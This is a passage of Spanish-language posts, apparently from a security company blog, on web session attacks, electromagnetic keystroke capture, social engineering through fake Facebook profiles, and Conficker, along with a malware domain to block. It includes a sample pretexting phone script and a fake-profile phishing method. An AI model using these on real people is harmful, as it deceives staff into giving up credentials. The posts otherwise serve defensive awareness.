Primero accede con sus credenciales. Entra en la aplicación de banca y accede al listado de cuentas corrientes, donde solamente le aparece la suya con un saldo de 0 euros.

Toma el ID de sesión y realiza de nuevo el proceso de login. Esta vez utiliza las credenciales de una posible víctima. En el nuevo listado de cuentas corrientes aparece la suya con 0 euros y sorpresa: la cuenta de la víctima con 1000 euros. Las 2 cuentas corrientes se han asociado al mismo identificador de sesión.

Ahora el atacante puede realizar el traspaso entre cuentas sin la clave de operaciones ya que la aplicación reconoce las 2 cuentas como asociadas al mismo usuario.

Solución:

Como ya hemos comentado para otras vulnerabilidades. Cuando trabajamos con sesiones es recomendable:

• No compartir el pool de sesiones entre varias aplicaciones.

• Invalidar las sesiones cuando el usuario sale de la aplicación o cuando ha pasado un tiempo de inactividad.

• No permitir realizar el proceso de login con un ID ya utilizado.

  
  

Con este artículo podemos dar por concluída la serie de Seguridad en Manejo de Sesiones Web, esperamos que os haya gustado.

Ramon Pinuaga

S21sec Auditoría

Keylogging mediante la captación de pulsos electromagnéticos

Ya en la década de los 60 algunas organizaciones militares conocían que los ordenadores generaban radiaciones electromagnéticas que no solo interferían con las señales de radio sino que también suponían un punto de fuga de información sensible. Este tipo de emanación es conocida como radiación Tempest [1] (Transient ElectroMagnetic Pulse Emanation STandard,).

Para poder entender mejor este tipo de radiación necesitamos conocer algunos fundamentos básicos de electromagnetismo.

• Entiéndase corriente eléctrica como un flujo de partículas cargadas eléctricamente, por ejemplo electrones.
• La tensión eléctrica se puede definir como una concentración espacial de cargas eléctricas.
• Las cargas eléctricas crean campos eléctricos alrededor de ellas, cuya intensidad incrementa incrementando la tensión.
• Estas cargas eléctricas en movimiento crean campos magnéticos, acelerando este movimiento el campo magnético cambia, a mayor velocidad, mayor campo magnético.
• Los campos magnéticos y eléctricos se propagan en el espacio y su combinación es llamada campo electromagnético (EM). Cuando cualquiera de estos campos varia, también cambia su propagación en el espacio, formando una onda electromagnética.
• Las ondas electromagnéticas se pueden captar, reflejar, trasmitir, conducir y se ven afectadas dependiendo de la materia, cuanto mas conductiva es la materia, mas probable es que afecte a las ondas EM.
• Los campos magnético y eléctrico están unidos entre si, tal y como describen las ecuaciones de Maxwell.

Los datos que se procesan en cualquier dispositivo electrónico se representan internamente como la presencia o la ausencia de cargas eléctricas. Al procesar datos se manipulan estas cargas. De esta forma, la variación de estas corrientes eléctricas refleja que la información está siendo procesada. La variación de estas cargas hace variar el campo eléctrico y esta variación crea campos electromagnéticos, los cuales se propagan en el espacio y pueden ser detectados.

Teniendo en cuenta que la mayoría nos autenticamos en nuestros sistemas a través de nombres de usuario y contraseñas que se ingresan en las maquinas a través de teclados y que estos contienen componentes electrónicos, podemos suponer que cada pulsación de tecla crea un campo electromagnético, y que este campo electromagnético al propagarse por el espacio, puede ser interceptado.

Martin Vuagnoux y Sylvain Pasini encontraron 4 formas diferentes de recuperar las pulsaciones que se realizaban en teclados cableados a una distancia de 20 metros, capturando el campo electromagnético que se creaba al pulsar cada tecla.


Probaron 11 modelos diferentes de teclados, cableados y wireless comprados entre 2001 y 2008 (PS/2 USB y teclados de portátil) y todos eran vulnerables a al menos uno de sus 4 tipos de ataques.

Estos ensayos se realizaron con los teclados conectados a un ordenador portátil, quitando la alimentación al mismo para evitar cualquier tipo de aporte físico a la propagación de la señal, ya que comprobaron que la conexión a tierra (compartida) actuaba como una antena y se ampliaba el rango de ataque.

Del mismo modo, la pantalla LCD también estaba desconectada, ya que esta también emite señales comprometedoras y podría transmitir las señales del teclado, aunque estas señales pueden ser filtradas fácilmente, de hecho los autores apuntan que los dos monitores LCD que usaron para mostrar la captación de las señales, apenas interfirieron con el experimento. ( http://vimeo.com/2007855)

Desconozco si alguno de estos teclados tenía algún tipo de filtro atenuador de emisiones electromagnéticas, pero la proliferación de todo tipo de aparatos electrónicos, incluyendo una gran cantidad de teclados, por parte del mercado asiático y su bajo coste, hace suponer que la mayoría no estarán blindados, o que este blindaje, consistente en una bobina y un núcleo de ferrita sea bastante pobre.

Agradecimientos: Zekuatro

Josu Tamayo

S21sec e-crime

Web 2.0. Potenciando antiguos sistemas casi olvidados

En el mundo de los servicios, se establece una relación por la cual, alguien ofrece un servicio o producto y otra persona, adquiere el producto o usa el servicio. En todo tipo de transacciones entre personas, se establece una relación de confianza entre ellas, que da lugar a que se pueda establecer esa relación comercial. Entonces tenemos un usuario cliente, un usuario que oferta, un producto y una relación de confianza.

A nivel de seguridad informática, siempre se busca la optimización de los recursos para generar una seguridad alrededor de lo que queramos proteger, las cosas nunca están 100% seguras, creo que eso es una falta de perspectiva, y cuando hay que probar la seguridad de un sistema, hay que barajar todas las posibilidades posibles para optimizar esas comprobaciones.

En principio, cuando hay que proteger un sistema, tenemos varios factores que debemos comprobar, el primero es la seguridad que hay que otorgarle al sistema, en caso de ser un terminal que ofrece servicios, hay que contemplar que es lo que deja al aire y puede ser sujeto de ser explotado, problemas en el diseño/desarrollo de la aplicación y por otro lado, medidas ajenas al propio sistema, como posibles accesos físicos a la máquina, lo cual convertiría la seguridad en algo tremendamente volátil y, una serie de cosas en base al nivel que se establezca como objetivo para lo que queramos proteger.

Sin embargo, desde siempre, hay una rama llamada ingeniería social, que se centra en atacar a la parte más débil de la seguridad, que son las personas alrededor de lo que queremos proteger. El ser humano por defecto es muy confiado, y una vez que se ha establecido una relación de confianza, es muy complicado que esta se rompa, pudiendo aprovechar esa debilidad para abrir brecha en la seguridad.

Desde siempre ha habido personas que conseguían información para planear ataques, robos de información y demás fines (véase el caso del famoso Kevin Mitnick), mediante la obtención de datos de usuarios despreocupados y confiados, simplemente haciendo una llamada de teléfono e identificándote medianamente, con algo de imaginación y capacidad de reacción, puedes obtener información de la topología de una red, IPs de servidores, versiones de software instalados e incluso agujeros de seguridad que aún no han sido solucionados, del estilo de:

- Buenos días soy X, del Servicio técnico contratado por su empresa, estamos haciendo un control de equipos, ya que debido a una falla reciente en uno de los servidores, se han perdido datos sobre el mapeo de unidades, usuarios y contraseñas etc… entonces he sido designado para reestablecer el correcto funcionamiento, de hecho, habrá comprobado que estos días ha tardado más de lo normal en poder conectarse a sus ordenadores bla bla bla…

El usuario, si no entiende mucho, puede empezar a soltar información como un cosaco, evidentemente hay que estar medianamente informado de la estructura de la empresa para hacer preguntas más concretas que aporten confianza y obtener información útil, pero casi nada que no se pueda conseguir con unas llamadas de teléfono sobre un objetivo confiado o saturado de la información de un técnico.

A eso, se le conoce como ingeniería social en particular, se cataloga como Pretexting, como ya nos comentó Álvaro del Hoyo en otro post, puede complicarse de muchas formas, profundizando más, buscando personas que puedan tener más/mejor información y, de hecho estas técnicas son de ámbito bidireccional, ya que un usuario avispado, puede pedir por ejemplo un cambio de contraseña de otro usuario haciéndose pasar por él y cogiendo con la guardia baja al administrador de sistemas o encargado de las cuentas.

Este tipo de herramientas también es susceptible de recibir ataques Phising, debido a que es bastante simple el emular su apariencia y mandar invitaciones a grupos, a actividades, agregar amigos, etc. teniendo una aplicación que centralice la información y emule el funcionamiento de la herramienta en sí., pero realmente la meta es la misma, obtener la máxima cantidad de información posible.

La cuestión, es que con la implementación de las nuevas tecnologías, se puede aplicar estos mismos sistemas dentro de las nuevas redes sociales como Facebook, MySpace, Twitter entre otras. Realmente para que estas técnicas optimicen su funcionamiento, habría que obtener la mayor cantidad de información de la victima para hacer que la relación de confianza fuese lo más fuerte posible, permitiendo así obtener una mejor calidad de la información. En Facebook para ser exactos, se pueden mostrar mucha información, del estilo de donde se trabaja, donde se vive, ver mensajes que se escriben entre compañeros de trabajo, y teniendo en cuenta que los muros son semipúblicos, toda la información que hay en ellos, hay incluso empresas, que organizan grupos en Facebook para sus usuarios o clientes. Hay que recordar lo que comentaba David Barroso sobre las redes sociales y el posible peligro que entrañan, la información es poder ¿no?

Haciendo una pequeña investigación filtrando los usuarios de cierta empresa, podremos leer conversaciones entre ellos, vamos una multitud de formas de obtener la información fresca es por decirlo de alguna forma, un sistema de Webtrashing (recopilar información colgada en Internet, suele ser base para los ataques tácticos) . Existen herramientas diseñadas con el fin de realizar minerías de datos o simplemente recolectar información en la red (Maltego, Pantera)

Ahora sólo queda el suponer que con toda la información que podemos obtener de la empresa objetivo, podremos establecer un perfil de trabajador, para empezar con la prueba de seguridad humana.

Al haber comprobado los perfiles se puede extrapolar uno que pueda incluirse fácilmente en el grupo, obtener imágenes e información para generar dicho perfil e intentar la entrada en el grupo de confianza, una vez conseguido, se puede hacer lo que se quiera, desde hacer fakes de la alguna web y forzar a que los compañeros actualicen sus credenciales, siendo esta web un servicio nuestro y, por lo tanto obteniendo todos los credenciales, hasta ingresar en el grupo de la empresa, listas de correo, y profundizando entonces hasta el nivel que se quiera.

Con respecto a los fakes, a nivel más práctico, la gente de insegure.org ha hecho un ataque a dos bandas, humano y técnico sobre una empresa objetivo. Ha nivel técnico, encontraron vulnerabilidades XSS (Cross Site Scripting) y prepararon un entorno en el cual, con una página Fake, se emulaba una conexión segura (https) que aparentemente formaba parte de la web del objetivo.

Para poder ejecutar este sistema, necesitaban un perfil y en base a los que habían leído (Hombres de entre 20-40 años) crearon a una atractiva mujer de 28 años que, con fotos obtenidas buscando en www.google.es por ejemplo, y con experiencias de trabajo obtenidas de los perfiles de los empleados en Facebook y generaron a una trabajadora creíble y confiable.

Llegados a este punto, “ella” en 3 días estaba integrada, hablando de trabajo, pasando links, etc, siendo justo ahí, cuando les pasaba el fake, de esta forma, informaban al usuario que sus cuentas podían estar comprometidas y debían verificar sus credenciales, en el momento en el cual, esos datos se enviaban a un servidor externo a la empresa y se trataban los credenciales.

Antes, la ingeniería social obligaba a llamar por teléfono y de ellos era la principal arma en las artes de Phreaking (Como ya había posteado Patxi Astiz aquí) o establecer una relación cara a cara con el objetivo, ahora, no hace falta ni eso, simplemente utilizar el Web 2.0 con un poco de sentido común, lo cual resulta bastante fácil por la naturaleza humana. Al final, la mejor forma de evitarlo es una buena concienciación y preparación del personal, o bien establecer todo el hermetismo que se pueda, para evitar que la información de la empresa salga de ella y en el caso de que lo haga, que tenga la menor repercusión posible, si esto no se consigue, las utilidades de retención de datos sobre servidores y equipos de la red, de poco valdrá.

Sobre todo para Parallels y algunos de sus empleados como nos recuerda David Barroso haciendo referencia al anonimato en la web .

Juan Manuel Sanesteban

S21sec labs

Seguridad en el manejo de Sesiones Web – VI

Comprobación insuficiente del identificador de sesión

Hasta ahora los ataques contra la seguridad de las sesiones Web que hemos visto han consistido en intentar conseguir un identificador valido; robándolo, adivinándolo o fijándolo.

Pero, ¿Qué pasaría si todo esto no fuese necesario? ¿Qué pasa si pudiésemos acceder a la aplicación con un identificador incorrecto?

Estaríamos ante un caso de comprobación insuficiente o incorrecta del identificador de sesión. Que aunque parezca algo obvio, suele ser la vulnerabilidad más habitual relativa al manejo de sesiones.

Cuando se produce:

Este error se produce cuando un componente de la aplicación que debería estar protegido mediante sesiones, es accesible sin un identificador de sesión o con un identificador incorrecto.

Cuando hablamos de identificador incorrecto podemos hablar de:

• Un ID inventado.

• Un ID caducado.

• Un ID creado a partir de la modificación de otro valido.

• Un ID asociado a un usuario no autenticado.

En todos estos casos estamos ante la misma situación: Un usuario que no ha seguido el proceso de login correctamente puede acceder a una parte del aplicativo. Aunque dependiendo del caso el riesgo será mayor o menor.

Ataque:

Para localizar si algún punto de la aplicación es vulnerable a este fallo, un atacante lo que hará será realizar un barrido de todos los posibles puntos de acceso. Intentando conectar sin identificador de sesión o con un identificador incorrecto.

Para esto el atacante necesita conocer, aunque sea de forma aproximada, la estructura de la aplicación y todos aquellos componentes que se pueden invocar remotamente.

Solución:

La solución es simple. Hacer que el mecanismo de comprobación de sesiones funcione. Y comprobar que este mecanismo se aplica a todos aquellos elementos de la aplicación que quieren ser protegidos.

Ramon Pinuaga

S21sec Auditoría

Osteopatía en la Respuesta ante Incidentes

Uno de los servicios que ofrecemos en S21sec desde hace muchos años es la respuesta ante incidentes de Seguridad de la Información (24x7x365). Este servicio, que nos ha quitado muchas horas de sueño, también nos ha permitido disfrutar y aprender de cada incidente, puesto que la naturaleza de los mismos es totalmente variopinta: fraudes, intrusiones, espionajes, chantajes, denegaciones de servicio, difamaciones, gusanos, troyanos, virus, pederastia y cualquier otro tema inimaginable.

A la hora de analizar cualquiera de estos incidentes (a cualquier hora de la madrugada) es muy importante tener una visión holística del incidente, puesto que muchas veces el origen del mismo no tiene nada que ver con sus consecuencias y en eso podemos compararlo con la osteopatía, que se basa en la creencia de que todos los sistemas del cuerpo trabajan conjuntamente, están relacionados y por tanto los trastornos en un sistema pueden afectar el funcionamiento de de los otros (Wikipedia dixit).

Si queremos garantizar la famosa triada de confidencialidad, integridad y disponibilidad de la información dentro de una organización, es necesario que todos los activos relacionados con cualquier proceso de negocio funcionen de forma conjunta, desde los elemenos de seguridad perimetral, hasta los que tengamos instalados en los servidores, equipos y móviles, pasando por la gestión de eventos o los planes de contingencia. Todos los elementos que tengamos nos aportan información muy valiosa a la hora de analizar un incidente de seguridad, con lo que es necesario analizar todos los que sean posible puesto que muchas veces es posible obtener evidencias en lugares que no habíamos pensado nunca.

Generalmente la primera acción es intentar controlar/bloquear el incidente para posteriormente analizar las causas del mismo y tomar las medidas oportunas para que no vuelva a ocurrir. El problema es que muchas veces para poder controlar el incidente es necesario analizar completamente todos los hechos relacionados y es ahí donde es importante intentar pensar en todas las posibles opciones y no dejar que los árboles no te dejen ver el bosque, puesto que en ese momento la capacidad de reacción es crítica y es necesario contemplar todas las opciones. Siguiendo con la analogía de la osteopatía, si a un paciente le duele el talón, puede que el problema esté en la espalda y no en el talón; si de repente todas mis cuentas de mi Directorio Activo se bloquean, puede que sea problema de que no tengo mis máquinas parcheadas y esté infectado con el Conficker, y no sea problema de mi Directorio Activo. O si alguien me está robando documentos puede que alguien tenga controlada la impresora de red, accediendo a la cola de la misma, o simplemente vigilando cuando se imprime algo, a que alguien me instale algo en mi ordenador.

Es importante tener la mente abierta cuando lleguemos al escenario de un incidente, y no dejarnos llevar por la presión o por lo que parece a primera vista.

David Barroso

S21sec e-crime

La Información como eje del cambio: de la Tecnología a la Gestión de la Seguridad.

Cuando muchos de nosotros éramos pequeñitos, aparecieron por nuestras casas los primeros ordenadores, donde jugando empezamos a hacer nuestros pinitos informáticos y de ahí, en tiempo récord, nos plantamos a algo que se denominó “la era digital”: ordenadores por doquier en empresas, el nacimiento de redes de ordenadores locales, la aparición de Internet que supuso incorporar “e-“ en el vocabulario (e-mail, e-business, e-commerce, e-learning, etc.), todo para conseguir intercambiar información de forma ágil y rápida, sin barreras espaciales o temporales. ¡Se trataba de interconectar el mundo!.

Para tener acceso a la información, entonces, la principal preocupación era disponer de una tecnología adecuada, unos sistemas lo más estables posibles, la estandarización de plataformas en pro de la accesibilidad, la velocidad de las comunicaciones,... hasta hoy, donde cobra importancia el término seguridad, existiendo una creciente preocupación dentro de la sociedad por todo lo que implique “seguridad digital”.

¿A qué se debe el cambio? A la importancia de la información en sí. Si antes su valor se manifestaba con la necesidad de dotarse de los mecanismos y herramientas necesarios para poder disponer de ella, ahora lo que importa ya no es solo conseguir información y tratarla, sino gestionarla adecuadamente, no perderla. Aquí es cuando aparece el concepto de “seguridad de la información”.

Pero volvamos a nuestra “era digital”... aparecen nuevas tecnologías capaces de interconectarse y también gente joven, curiosa, a la que le encanta cacharrear y probar sus habilidades... los ya conocidos hackers, que asustan por ser capaces de acceder donde uno no quiere y aquí empieza la preocupación por la seguridad que como es lógico, inicialmente se aplicará bajo el prisma de la protección tecnológica, estableciendo medidas destinadas a evitar que terceros no deseados se conecten a mis sistemas: cerrar puertos de comunicaciones, no utilizar configuraciones por defecto, cifrar los datos transmitidos, etc. Si bien este es el primer paso, la realidad se ha encargado de certificar que igual como los hackers se han transformado en otros colectivos más dañinos y menos éticos, implantado la seguridad únicamente a nivel tecnológico, no es suficiente. Se hace necesaria la Gestión de la Seguridad, el Buen Gobierno de las Tecnologías y los Sistemas de Información.

Gestionar la seguridad supone un cambio radical en la mentalidad, donde la gestión no debe asociarse a los activos individuales, sino a los procesos de negocio. Así, si analizamos el estándar ISO/IEC 27001:2005, cada vez más reconocido tanto por el sector público como privado, vemos que esta idea se aplica en el Círculo de Demming o Ciclo PDCA:

• Planificar: Establecer las políticas, objetivos, procedimientos y procesos relevantes que conformarán el Sistema de Gestión para la Seguridad de la Información (SGSI), encargado de conseguir una correcta gestión del riesgo y mejorar la seguridad de la información, siendo capaz de proporcionar los resultados esperados de acuerdo con la políticas y objetivos de la Organización.
• Hacer: Implementar y operar las políticas del SGSI, controles, procedimientos y procesos.
• Monitorizar: Evaluar y donde sea posible, medir el rendimiento del proceso respecto a las políticas, objetivos y experiencias prácticas del SGSI y notificar los resultados a Dirección para su revisión.
• Actuar: Llevar a cabo acciones preventivas, basadas en los resultados de las auditorías internas y revisiones del SGSI, para alcanzar una mejora continua del SGSI.
  

Donde la fase de Planificación es vital, al tratarse del punto de origen de la nueva filosofía: la seguridad al servicio del negocio.

Pongamos como ejemplo una cadena de montaje de automóviles. Será relevante para la Dirección el hecho de que la planta disponga de las piezas necesarias para el ensamblaje de vehículos, el hecho de que la cadena de montaje funcione en los tiempos establecidos, el disponer del volumen de vehículos finalizados adecuado para introducirlos en el mercado, una facturación correcta, etc. En ningún momento se ha pensado o hablado en términos de bases de datos, aplicaciones para la gestión de pedidos o facturación, virtualización de servidores o antivirus. El motivo es obvio, a la Dirección le preocupará la tecnología y la seguridad en la medida en que éstas, por ejemplo, repercutan en una mejor productividad, en un abaratamiento de costes o en línea contraria, dificulten la consecución de los objetivos de negocio.

Moraleja: la tecnología y la seguridad de los sistemas de información son relevantes en tanto y cuanto sirven a los propósitos del negocio.

Por lo tanto, la seguridad aplicada a las tecnologías y a los sistemas de información debería amoldarse al negocio, cubrir sus necesidades y objetivos estratégicos y ser capaz de proporcionarle, en su lenguaje, los datos necesarios que permitan valorar su repercusión dentro de la Organización. En definitiva, alcanzar un Buen Gobierno de las Tecnologías y los Sistemas de Información. Un primer paso para conseguirlo consistiría en determinar cuantitativa o cualitativamente los riesgos a los que estarían sujetas cada una de las distintas líneas de negocio. En segundo lugar, se tendría que llevar a cabo el diseño e implantación de un SGSI dirigido a cubrir y gestionar dichos riesgos con el único fin de que el negocio prevalezca frente a su materialización.

Cuando se dispusiese de un SGSI donde la gestión de la seguridad estuviese alineada con la estrategia de negocio se estaría en disposición de diseñar e implantar aquellos indicadores capaces de aportar valor adicional. "Todo aquello que se puede medir, se puede mejorar", así, la Organización, mediante cuadros de mando seria capaz de determinar y valorar tanto su seguridad, como estimar el Retorno de la Inversión (ROI).

La situación a día de hoy, en cambio, denota que todavía son muchas las organizaciones que tratan su seguridad independientemente del negocio al que desean proteger.

Isabel Soler
Área de Consultoría

La seguridad en los implantes de biotecnología para su uso médico

La biotecnología y bioingeniería son disciplinas que hoy en día tienen un gran auge y que están dando frutos sorprendentes en las aplicaciones médicas. Entre ellas, por ejemplo, tenemos los sistemas de nano-sensores que se implantan en el cuerpo de un paciente y son capaces de monitorizar y recoger datos relacionados con una enfermedad concreta para así poder llevar un mejor control de la misma con una mayor comodidad para el paciente. Estos sistemas parece que pronto van a ser una realidad aplicable en la cura o tratamiento de enfermedades. Un ejemplo de estos sistemas es el que se está desarrollando dentro del marco de proyecto europeo P-Cezanne, que pretende dar solución a una enfermedad tan común como es la diabetes a través de micro-implantes capaces de monitorizar los niveles de glucosa en sangre. Este sistema no sólo permitiría trasmitir estos datos a un médico para que pudiera evaluar la evolución de la enfermedad sino también determinar las dosis óptimas de insulina y suministrarlas de forma automática mediante una bomba de insulina. Ahora os estaréis preguntando ... ¿que tiene que ver esto con la seguridad informática? ...
Pues si que tiene que ver. Este tipo de dispositivos a los que se conoce como Remote Intelligent Drug Delivery System (RIDDS) suelen estar dotados con interconexión inalámbrica para poder comunicarse entre ellos y con una red médica específica y así poder transmitir los datos recogidos, enviar órdenes, ajustar los niveles de medicamento, etc. El problema es que, en el diseño de este tipo de sistemas, no siempre se suele tener en mente la seguridad de las comunicaciones. Un artículo que se ha publicado recientemente en la International Journal of Biomedical Engineering and Technology examina los riesgos potenciales que se pueden dar en los dispositivos RIDDS y propone ciertas mejoras que pueden ayudar a combatirlos. De hecho, el proteger las comunicaciones de datos en estas redes debería ser un aspecto crítico en el diseño de los dispositivos ya que en caso contrario, deficiencias de seguridad en las comunicaciones, pueden facilitar no sólo la obtención de datos confidenciales de un paciente sino también poner en riesgo su vida. De hecho, algo similar ya salto a la opinión pública hace casi un año cuando se publicó un estudio donde investigadores de varias universidades de Estados Unidos habían conseguido atacar un implante de desfibrilador cardiaco consiguiendo establecer comunicación inalámbrica con el dispositivo y llegando incluso a apagar o enviar nuevas órdenes al aparato, eso sí, a una distancia muy corta.

Guzmán Santafé
S21sec labs

Seguridad en el manejo de Sesiones Web – V

Identificador de sesión predecible

Retomamos la serie de Seguridad en  Manejo de Sesiones Web con este nuevo articulo.

Como hemos visto, para suplantar una sesión mediante hijacking, normalmente un atacante solo necesita conocer un identificador de sesión que este activo.

El atacante puede intentar robar este identificador en algún punto de la comunicación, pero existe una vía de ataque menos intrusiva. Adivinarlo.

Definición:

Un ataque de predicción de sesión consiste en intentar adivinar el identificador de sesión de algún usuario activo.

Dependiendo del algoritmo de generación de los identificadores de sesión la predicción será más o menos difícil. Cuanto más complejo e imprevisible sea el ID, mas difícil será la tarea. De ahí la insistencia en que el identificador sea totalmente aleatorio. Para que el atacante no tenga ningún patrón de partida.

Ataque:

El concepto de predicción o adivinación es algo engañoso. Ya que normalmente el código buscado no se acierta en un primer intento (excepto que el algoritmo de generación sea totalmente inseguro).

El ataque habitualmente consiste en probar mediante fuerza bruta una serie de IDs previstos, hasta dar con uno valido. La efectividad dependerá del número de intentos que haya que realizar hasta encontrar un identificador valido.

Si el identificador es totalmente aleatorio, el número de intentos necesarios será igual a todo el rango de posibles valores del identificador. En este caso será también importante la longitud del ID de sesión, ya que si el rango de posibles valores no es lo suficientemente grande, el atacante podría intentar probar todos los posibles valores.

Patrones vulnerables:

Tenemos por tanto que el éxito de un ataque de predicción de sesión depende de:

• La longitud del ID. O sea el rango de todos los posibles valores.

• El patrón de generación de este ID.

Los patrones que se suelen emplear para la generación de sesiones y que son predecibles, de menor a mayor dificultad de análisis:

• Fijo: El ID tiene un valor fijo. No es necesario adivinarlo.

• Basado en datos del usuario: Su nombre, su dirección IP. Sera diferente para distintos usuarios, pero constante para el mismo cliente. Puede estar ofuscado para complicar el análisis.

• Rango de valores: El ID se elige entre un rango de valores prefijado. Tras un periodo de observación la predicción es trivial.

• Basada en tiempo: Cada nuevo ID se genera incrementando el anterior en base a un reloj. La predicción es fácil.

• Incremental: Similar al basado en tiempo, pero que solo se incrementa con cada nuevo ID generado. Si la aplicación tiene mucho tráfico será más complejo de atacar.

• Pseudo-aleatorio: La generación intenta ser aleatoria, pero el algoritmo contiene vulnerabilidades que permiten predecir su comportamiento. Normalmente el atacante para tener éxito necesitara obtener los datos de partida que usa el algoritmo para generar la serie de IDs.

Protección

Ofuscar o combinar varios de estos patrones puede dificultar el análisis, pero la única protección efectiva consiste en generar de forma aleatoria los ID y utilizar un rango de valores lo suficientemente grande.

Hasta la próxima!

Ramon Pinuaga

S21sec Auditoría

Nuevo 0-day en Acrobat Reader - Trojan.Pidief.E

Desde el pasado día 12 de Febrero se comenta en algunos sitios que es posible que exista una vulnerabilidad no conocida (específicamente un buffer overflow) de Acrobat Reader que se está explotando activamente. Las versiones afectadas parece ser que son la 8.3.1 y la 9.0.0.

En otras vulnerabilidades parecidas, al desactivar el soporte de javascript nos protegía contra la misma, pero según lo que se ha comentado, en este caso no parece ser 100% eficaz. De todas formas recomendamos desactivar el soporte de javascript hasta que se conozcan más detalles sobre la misma.

La única información pública de la explotación es que en las primeras versiones, el troyano que se instala intenta conectarse a la máquina js001.3322.org (recordemos que 3322.org es un proveedor gratuito de DNS de China muy popular, aunque también muy conocido por alojar multitud de códigos maliciosos), con lo que también es aconsable el bloqueo de cualquier comunicación a ese dominio o a la dirección a la que resuelve (actualmente 222.35.136.119, también de China).

David Barroso
S21sec e-crime

Conficker WANTED

En el lejano Oeste se recompensaba económicamente por la captura, vivo o muerto, de fieros pistoleros y sus secuaces; pero los tiempos han cambiado, y la figura de cazarrecompensas también se ha tenido que ir amoldando estos tiempos a usar más el teclado y menos el revólver.

Hace tiempo existió una larga discusión sobre si era ético o no comprar vulnerabilidades (iDefense, TippingPoint, ...), pero ahora ya estamos hablando de una sustanciosa recompensa económica para el tenga información que sirva para detener y llevar a la cárcel al creador del Conficker ("Microsoft offers $250,000 reward for Conficker arrest and conviction.")

Además, se anuncia también una colaboración entre diferentes empresas para 'contener' los destrozos de Conficker, básicamente registrando todos los dominios que puede usar el gusano para que nunca se pueda poner un panel de control (C&C) y controlar las millones de máquinas. Esta técnica se ha venido usando desde hace tiempo con el mismo objetivo con resultados muy dispares, puesto que al igual que S21sec puede registrar algunos de esos dominios, lo puede hacer cualquier otro, controlando todas esos millones de máquinas para beneficio propio (tan sólo hace falta conocer el algoritmo de generación de dominios).

Cada vez más código malicioso utiliza la técnica de dominios generados para evitar depender de uno o varios puntos de C&C que estuvieran predefinidos en el código (fácilmente bloqueables y/o fáciles de cerrar, además de ser la pista principal para ver quién está detrás). Es mucho más fácil e inteligente, dejar que el gusano esté infectando millones de máquinas, y cuando yo desee, registro un dominio (que por supuesto apunte a una máquina comprometida y controlada) y manejo a mi antojo mi legión de infectados.

Este método por supuesto que nos puede llegar a dar unos datos muy importantes en el transcurso de una investigación o análisis, pero tampoco está clara la legalidad o no del mismo. Es decir, cualquiera puede registrar un dominio, pero si al registrar ese dominio de repente empiezas a recibir millones de datos robados (no es el caso de Conficker, pero sí de otros), o simplemente, con publicar un simple PHP con unas órdenes específicas puedes 'ejecutar' acciones (como por ejemplo limpiar) en esos millones de máquinas, por lo menos nos tenemos que plantear si es legal o no hacerlo (hablamos de legalidad, no de ética). 

Es también uno de los casos que comentamos hace tiempo sobre la falta de médidas para que un órgano totalmente neutro en Internet pueda realizar cualquier tipo de acción para evitar estos incidentes (y proteger a los usuarios). Ahora mismo no hay ningún actor responsable de poder tomar estas medidas (¿ICANN?, ¿Verisign?, ¿Microsoft?¿Quién?¿los registradores de los TLDs afectados?¿los ISP?) Realmente resulta sorprendente, que con todo lo que ocurre en Internet, no se tomen las medidas oportunas. ¿Tanto nos cuesta darnos cuenta? O nos tomamos en serio la Seguridad en Internet o sí que seguirá siendo el lejano Oeste.

David Barroso

S21sec e-crime